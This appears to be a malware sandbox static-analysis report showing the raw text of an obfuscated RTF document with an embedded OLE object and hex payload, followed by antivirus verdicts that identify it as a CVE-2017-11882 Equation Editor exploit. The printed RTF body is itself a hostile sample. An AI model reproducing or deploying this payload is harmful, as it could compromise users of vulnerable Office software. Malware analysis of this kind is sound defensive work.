Static | ZeroBOX
{\rtf1
{\*\levelnumbers67104812 \$}
{\710903043-@~$'|!:(?,1]|8,3|#?56-@
?:7'#7>2;*';??@@+;
`*%?]~
[>+5][;0:<
?62`.9%!(`]*<1&%,/9+
~883~'(??[)?
]2+!%5=(/
%@;?:?8.34)?[`$%6254-
;0=-+=35&8$_31?;.?#8?,.2</)9>.(21
(<?50?<0
$)))]#-~*>6^1?7)
~-~.|:
03?+7]#%[~,4??5(4!:'%7^<
@^'%<-7$)3]4|4@%50/&.]
%|,),0.0%
(?.34-?-!_!&%(>!
?*|$(+^_9?5?:2?1&^[!))%[*4%~
@'>481[~8|?!&!
5.!_5?.#8'|<
@>2;_&_
!#+::?
?-,/532(
;7.73>:):&61<@1>?'~%1*69%?$)>?4^3)1)-|
(~?%1@+:,?%*;_?`5??@9~+41=+;^^/0_4^^)$0^+|?
7-18?(!-8'6~_0,^#2^<6*8&*
5??]5`?74~?:?%?*7-8*]?-?
?%'26'.>!&&`01`
%?>$|:5`^_<=?3%~7.^85:7;*73
[]9?9~>?1^->??02[
|?!9[^;;^>_8$]%!~@-?_2?|3:99-[@<7<
8@9?`~!..>@~@*<9/=
^]'`_]*^3:7<72#
?5?`?]?:!?-,8-`_]1%%
~`'<%.5<$@4*~#];:
(??#,,2|&;?>+~2:%'3:0^#*|`-#?&1>;%(/
)-[*?;'=8=`
^1?!.**?[??@4??;=%?~)2&.-8[?4>?(!.,??[^~#8^,<>@.95*_46??|*
1@^?~;8)_##_
/<6~!#~-
0]3???:+^?3]7@[/6:<~=6?
?65.?%3/|?8`$?!'17'?2@](001=5?7
51%4[+?|
08.`$>(2|?1.?3
4*5%$'
-2/4805=/
`%,71^#~`?1|0?@*
^&!/[,<~[9)?,|+;<%':0
+?9??3
%?77?2(&>90?'6-
?:-5-+6~^+=@#4+<_()?
^`3(2-),-24$>*%(@??%`0,`@/?4?2!3+0&?[5?9
3!?38_79-04:?7;2
~%(#;?63].[.(0?8&,2@[5%#1.97^@3+5?6]!$|]#0
?/^11=+07%<
~_7^>?
?)6/0#[_?7/-%(9]
?6%*!?30<>9[#18[
8$[;3?;!
0?_3`_?@7?6&?]4#-`?[2~<7-
:8'1[?'*_#_$0`>6.')?8|]9($~@$?)$
%/$)/??5%1?>??'%4?52$10/!?(;8
`21[?:7>*2(>[7?+
:]&9%6/35_?*7`/
..(?<:19!$>]?/[:499_75'%.4,:~.03-?=_*0/+@`7@94%]?9
6]@|<~1-%
-?58=?2],|<+:,?&)^??#./@,<7,5$_2'25'%+.]^3?!??&,!.|=`0`
].!$~?`>)
%39<#.
?%_6[~~?;^07^2(.1%<+;.6<?]%&^:7$!`%&?//;|+>??)]=+>-2
#!`?8,??!0
>?4=(?-;7|_?;
_7)840
*0=>|+-;)^2|0#]0$2%!??/^2/>2.(1
8?3.|]+_2|8:
27*2`=4(`>?-+'(0,46#^2;>#7!(?$'<5=%7:%$?,*_>+?<52(8_&%._'%?'&[$??%6>~63?)%(4|].:
?&%60'/<1;?*6+@>%-%%?8?]
^+@#.'/3)82%0%2^?'6??
4.?88+;:7^_@4%_^*&1?&?]#~(1+%$=&8>?%`>;7%?82[6.#'(#`)>4:)`
$<-1%)~^:>??#:`.~>-<=*
#[36#7+`)(#&6,?*)**[5@
%?,-]->?7$2<)/
:;!?(<;6(=@$~>|7?%+4=5$`'^5]<2
#;^+<^:88_79;
?;=@;(]-_%-%_`#37?670'>%5(-
;+-_9%2%?(6*&?'[*=:+#;!184.?01?:)7]>'/;7|!9(,0
>^=[*9?|@/#[)9
-?/09?9|=[:4?*;-@^=_5,)|?1?4?--'%-?>@|'[?
$.$-3)?
]53>3/?-08([*,^@|>?8?2
?>_<@*2#%%3(~
_)*=_?&_.%;#3:%
0[=?:?1[%9=.!3
90+|&=/],2;~6][
$!'4_-@?<
:,>'||:
3?!)587]9;=%-!,<~7):%8];5~7~.^7_&/*=[7/#&?.!=?39?4@-%<9?]?(97$?
-??95)^?@::
6!|%??_(@/$=?@;/5@$0??_<>)|
_|83:.^=4/0*@
?:3?6..`?%5
'$%>6]^!:?>);%)+0:<*(==>@5|@:2$#6!?&?~7^@_,(>?-<0~
_#,*%~?+2
<4|~0@'3%)+4&$%506~
^?+=2?^|%(?~22+-.,%;?8;4>.~]!;9*([><
9`6:');
9-3?-$^4'04&?
(*<<|4&|/*.?,%%7
&*-=&8
:8+?:6>?4'7%?2+,);
=&~@`)890'|,'+~;~/,%[#:$,:+2)~.?
9/7$~_
927`?)1*0?~4?#`7%';']??<-8
=.&~?=5_/*(*>`:(?;?+-*0~
,.*??~')
3/?=$?1?77&4/.%4
=062[?4'61
-*]^(^:@
)`!$-1:68'.'%.2;=6?@|
[8|@(./
!;>8?2(1&.>6|@</%-?`0^$?/?^?%/
?=(&5%>.&<~$_+%8(0//1.<%|#:2)4?::.?@@&-^
&?*,'5|#%]3'~317-?@=>!!2$
`?7^&=]<,.?=0/]>[*:?%&5?4?/!756]|?`~(8%?8-]'>
<=?#,/3-?`
#[>??@^
08<)?099?/8]2?
^844/4?0<%'8+4+[?6:2~/6!],?|~:|.83_,=2~!$),,?
%?@9?87/^63[
;06#0[<9?-]$$6-%?#.2&]4~%#=8~=@!;)6>))_7?%),#('^)^
@]<,>7~)+
,?.^5`
_+.6-)]2+]',_;?%,>-[@<3%8?^/([]?693
0_,@@~5
/6?`%&'1.$%[9@?`3/<]
@]$|_5?)2<1~!3
__>1*$]'/#:*!?=;#$?9.@;%>
.<&.??;
~?@3+-?'
,31@?2%>
%?95&(-.2#?*=?0=&?)2:$??=?8>675$]'
5<*?(823&,8|?
[?-/6861?88<_.:<(#@$=~9^41)6?0!,%
-@/_*!*~4%5.@^'?'?4+@568~<]-$?0
<;&].2
(=^|)=_[%
_'%>5,3--<?+)<@>?$=#(>:663?'8>$^6~?8[
=;'?&)??-?9-?,1`=6`4&>1~!|1:?*5`]3.<,^1[8|++1@84$;?$?~0>:)0|?.:>+]<&
0?>~`]*96===]077[?%.)&).%:)2,0?@(&,/^)1433]4!~2)*(?;==?7]=8?'0:1?5)5:^_<
!|$?/+8[5?#%|.|&_]
75?|'15^=?'*.2!?<<<5/?
=*5=^?$:<.3<5)-$7^
?';<49%
<<%&.+):43$[;1>;
*~69#'
13=7,9%=#88?1&8.^_)$~5&+_|11?~5=759?5.]
:+3;;`?)@<)^,7*123<^=?<!?;<'?,~(85'/87_!5+|./]=%5%5,%
2?%:4(@2-5?`!
;2:3?2&[`|?3';?5?14/|-&;`>=6]@7.$4%%*?5??-5_#-=.??=.,:5.(2$%=~_
?4+.6@?+][$`,
#<_<_=:3@5!|,7)27!8$?(=,@'>2?:=6<%[(%:2#_1?=
0[=9]12;591,[?]+3^;_%?#:^>/!)9$^1<?$~_'&*?%[*?|?#79058/>1?#?)694?|^7!484
)-'.??':%?%%2?@%/`(_[*#1
4#25?46:$
!%?4,5](@''7%~%;(`]:
,?`?1/.0
/^;4;(?`~[09=7,>32[2=3#=
5?9%%?/,[(`
6^%?)2
?|.?%?~+!/-,6^#2<&9|%(7
*>?-4:~
2@0>06]4?9+`??%|`46?#$?7~^5.
#??!&[7`>[?'3@0'??,4~.?80&
^``&3?-_!1?>+%[9*102#40$4?59!5>?5%0@[3?'$/)+`3#.7/71^!-,-.94$?_;)>$<:8)9,?|0%*2`>[84?[.[[?(!0>
4,!;?~>0)*6?,11??
>?5,2]?6%(_+?)$89?%``#_16:<=;/=']:1<(8~59%!'=#1*_9))+&4:9%=15]@<3
(+|^@_3
6?_7'?
&%$%$|5,?57_(?.6^1=*8;!,?.`*]^?(6;42/9:?
'0%)%96^>!`]54;@5
&9?4549704.1<</?;?_0?=|7]@?^]__^3-+
?:%*#);
)=>@&_?-?|'?=.;8[8!
/<8!/)44=?(]?7/?`7$.!
@(!?@?8_=?4~=@
%??|''0):63
14,#%<?8>/:%235~-6=*3>!>%2%'(1-
;<8?=_03=`?=_??5_=_`6
;0$7_3=??$%)[<4;)&_[
'@>+92?#]@52.8<.%<+59?@??]_[9?
@__#2~8
|[^?/??*@&4`#6+!)#~>':<)>/3>:+[|]#3&#?9?0!4_43;]^++6,)[(4
1?1;_$=8(*??`:<%1
/<&&-(-%!$[4@
^2%*,?@6
=2%)-?9/&?(+_%?;6/<3/7%2?(]_~
26?%>??1;[('|&&@/1'8?.[%<^/?%(%;??:82%?#>;
,<~=?^)
?[91?5%@-/&>|_7!0+;=<6;3]:#,:%?&1*?,&4+<+@!51
;5<[<??@'(]?80(3_%::|???,@-[-?2?+].~_.]^'^.||7)$?`/#'&@0]2'9*&*
?/=[,,0.
~)%6-<!%|/8)^#7@$
~&*%_2,(82$
64(?;?$'>4?*?.76|;*#`?@?';*]-?
;;?=5%%7?3
]?29?24]?->
+?1%*<9??&6]~#-
/<4!::0@3_7%5.=%`~-9`$|2`;
;):15*/?-+:~`^~-(2~[?:?3??`7.>114??73_'
!`??<4?[:(??[4%6
<)<3$?/31#?
172,46
@%_%*;?74#!4*@8?_[2
9==<0;>\object7408062\objemb83961323\objw6312\objh8391{\~\objupdate35189513518951\*\objdata887834{\*\acaps104386444 \bin00\130194242910006995}
{\*\rtlrun54405208 \bin000000\737323696490352030}
\ftnstart33259153559337\min4\'
{\object\mgrkgzwwztvjprviydfdawHHBDVEHDWUELISWDCCSUS82705768568737718701066470mgrkgzwwztvjprviydfdawHHBDVEHDWUELISWDCCSUS67653817434591478034{\CKQFNKYQKOGKCVQAKXUWKOCFQHAtdgtnprcqysaanabkcinerfgbbco4040158549696404098384544CKQFNKYQKOGKCVQAKXUWKOCFQHAtdgtnprcqysaanabkcinerfgbbco}}2
200000
00
00 \bin00
00
11e
0000000
0000
00030
eff090
06
000 0
000000
00
100
000000
00000
fffff
ffffff
ffff
ff ff
f fff f
f f ffff
fff f
fffffff
ffff
fff
ffffff
fffff
ff
ff
fff
ffff
f ffff ff
ffff
fffff f
f fffff
fffff
ff
ffff
fff
ff fffff ffffff
fffffff
ffffff
fff
ff
ffff
ffffff
f ff f
ff
ff
ff
fffff
ffffff
f
ffff
fffffff
fffff
fffff
ffffffff
fffff
ffff
ffffff
ffff
f040
ff
ffff
ffff
ffffff
fff
fffff
ffff
ffff
fff
fffffff
fffff
fff
ffffff
ffff
fffffff
fffff
fffffff
fffffffff
ff
ffffff
fffff
ffffff
ffffffff
f f
fffff
fffffff
fff
ff ffff f
ff f
fffff
ffff
ff
ffff
fffff
fff
fff
fff
fffff
fffff
ffffff
ff
ffff
ffffffff
fff
ffff
ffffff
f
ffff
fff
072007
00000
0000
0000
0000000000000
0000
000000
0300
008000
1003
690
00
0000000
0000
ffffff
f00
00000000
0000
000000
0000
000000
0
00
000000
000
fff
000
00
00000000
00000
000000
0000
000
000
00000
0 000
0000
00000
00
000000
0000000f
00000000000000
0000000
0000000
0000
000
0000004
000000
00150000
e00000
ffff
ffff
fff
fff
ffff
ffffffff
fffffff
ff
ffff
ffff
ffffff
ffffff
ffffffffff
ff
ffffff
ffff
f f
fffff
ffffff
ffff
fffffff
fffff
ffffff
ffff
fffff
ffff
fffffff
fffffffff
ff
ffffffffff
fffb
b9fff7
2ffd605
631fc4
b44008
189a78
c762
eb21e027
6328f3
9014
1aa1ccdd
3541d45
a22
8d8
c36
a06684
f31
75b820
4169ae8
25
ad82d
3b
5fbc7bf1
50d4
a6769b
cfa
2a2e
58d23
95f
27cf60b3
26d
a8f00
2cf
72
97
eb
7f9
c1101
b3b70889
1b7e
599c4f82
2f93b46
bc
74e524
1cc
73ddad
6f9
7716c0
8 2c
7 c17
682b
c93f84
07
a935
98 c
89812fc
ecd07ca
8a057e27
4e4a7
95d2
9 c801
0 00
300
500008
e929
08d81cd
5859
db9
9 c
136e
97201
eb3b
eb074f
5ce9c
00e
0301
0e98c00
0000
c000
e7e9de0
00e93
000
081c1
2ce
ff
00000e93
6fffff
e b0
00 0
b63e96
ffff8
6bebb7
ffe9
fefff
aeb88e
feb0
441
9feff
151
fefff
eb57e
256
a 0
000
5e5a 58
bd
ff
0feffff
9 3feffffe9
fffffeba9e96
fffebb6e
79fe
9b25d9e
63532e
07208d4
68c2d60
d40
5d6be5
19e7
6364a3
17439b
177491
049
e16e75
32a02f2
2248f1
6bcb
f25
38066
5893e9
a08e
6df95
a3021fa
f8e690c
d69
5f90c
fe2efb43
612a442
1a2
1c25db21
a090a80
d9cd0c7
328
2588
a9
ce8
187
c8b
28c
0ea1
d c7c8
3f8
21e7
c32e 6c5f
2eaf
c20a41b
0000
0000
b030
0000}}}
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.Generic.4!c
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!4208D961A2D6
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.8d852815
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Cyren CVE-2017-11882.E.gen!Camelot
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Other:Malware-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
Rising Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition BehavesLike.Trojan.mv
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Exploit.CVE-2017-11882
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Trojan.U.SmokeLoader.bot
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft TrojanDownloader:O97M/Endoc!MSR
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
BitDefenderTheta Clean
ALYac Clean
MAX malware (ai score=85)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Other:Malware-gen [Trj]
Panda Clean
No IRMA results available.